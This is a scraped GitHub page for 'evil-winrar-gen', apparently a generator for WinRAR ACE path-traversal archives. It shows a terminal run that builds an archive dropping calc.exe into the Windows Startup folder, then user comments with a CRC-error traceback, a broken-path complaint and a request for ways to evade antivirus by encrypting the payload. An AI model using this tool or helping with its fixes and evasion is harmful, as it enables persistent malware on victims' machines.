manulqwerty / evil-winrar-gen Goto Github PK

root@kali:/test_lab/Evil-WinRAR-Gen# ls
calc.exe evilWinRAR.py LICENSE mikaop.jpg README.md requirements.txt

root@kali:/test_lab/Evil-WinRAR-Gen# python3 evilWinRAR.py -o out.rar -e calc.exe -g mikaop.jpg

CRC FAIL: mikaop.jpg
CRC FAIL: C/CC../AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/calc.exe
[+] Evil archive generated successfully: out.rar
[+] Evil path: C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

root@kali:/test_lab/Evil-WinRAR-Gen# ls
calc.exe evilWinRAR.py LICENSE mikaop.jpg out.rar README.md requirements.txt

root@kali:/test_lab/Evil-WinRAR-Gen#

When i compiled the evilWinRAR.py script:
python3.7 evilWinRAR.py -o output.rar -e calc.exe -g hi.jpg

it shows:
[+] right_hdr_crc : 0x4f20 | struct b' O'
[*] current_hdr_crc : 0x86b8 | struct b'\xb8\x86'
Traceback (most recent call last):
File "evilWinRAR.py", line 106, in
with acefile.open(args.filename) as f:
File "/home/user/Desktop/Pentest/Evil-WinRAR-Gen/acefile.py", line 3259, in _open
return cls(file, mode, search=search)
File "/home/user/Desktop/Pentest/Evil-WinRAR-Gen/acefile.py", line 3277, in init
self.__volumes.append(AceVolume(file[0], mode, search=search))
File "/home/user/Desktop/Pentest/Evil-WinRAR-Gen/acefile.py", line 2932, in init
self._parse_headers(search)
File "/home/user/Desktop/Pentest/Evil-WinRAR-Gen/acefile.py", line 3042, in _parse_headers
self._parse_header()
File "/home/user/Desktop/Pentest/Evil-WinRAR-Gen/acefile.py", line 3063, in _parse_header
raise CorruptedArchiveError("header CRC failed")
acefile.CorruptedArchiveError: header CRC failed

some advice or something to solve this? I hope you can help me, thanks, regardrs.

instead of real %appdata%

it goes to desktop and makes the folders

any help to fix it?

i would like to know if it's possible to evade antivirus ?
and how to do it ? possibly encrypting the file !